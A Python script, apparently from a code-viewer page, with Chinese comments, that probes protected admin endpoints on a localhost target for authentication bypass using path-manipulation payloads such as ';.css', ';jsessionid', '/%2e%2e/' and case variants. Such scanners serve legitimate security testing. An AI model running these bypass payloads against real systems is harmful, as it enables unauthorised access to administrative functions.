1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| import requests import urllib.parse
def test_auth_bypass(base_url, protected_paths): """测试鉴权绕过漏洞""" bypass_payloads = [ ";.css", ";.js", ";.png", ";jsessionid=test", "/../", "/./", "//", "/%2e%2e/", "/%2f", "/%5c", "", ] results = [] for path in protected_paths: print(f"\n测试路径: {path}") response = requests.get(f"{base_url}{path}") print(f"原始请求状态码: {response.status_code}") for payload in bypass_payloads: test_url = f"{base_url}{path}{payload}" try: response = requests.get(test_url, timeout=10) if response.status_code == 200: print(f"[!] 可能的绕过: {test_url} -> {response.status_code}") results.append({ 'url': test_url, 'status': response.status_code, 'payload': payload }) else: print(f"[-] 正常阻止: {test_url} -> {response.status_code}") except Exception as e: print(f"[!] 请求异常: {test_url} -> {str(e)}") case_variants = [ path.upper(), path.lower(), path.capitalize(), ''.join(c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(path)) ] for variant in case_variants: if variant != path: try: response = requests.get(f"{base_url}{variant}", timeout=10) if response.status_code == 200: print(f"[!] 大小写绕过: {variant} -> {response.status_code}") results.append({ 'url': f"{base_url}{variant}", 'status': response.status_code, 'payload': 'case_bypass' }) except Exception as e: pass return results
if __name__ == "__main__": target_url = "http://localhost:8080" protected_endpoints = [ "/admin/users", "/admin/config", "/admin/logs", "/api/admin/delete" ] vulnerabilities = test_auth_bypass(target_url, protected_endpoints) if vulnerabilities: print("\n" + "="*50) print("发现的潜在绕过漏洞:") for vuln in vulnerabilities: print(f"URL: {vuln['url']}") print(f"状态码: {vuln['status']}") print(f"Payload: {vuln['payload']}") print("-" * 30) else: print("\n未发现明显的鉴权绕过漏洞")
|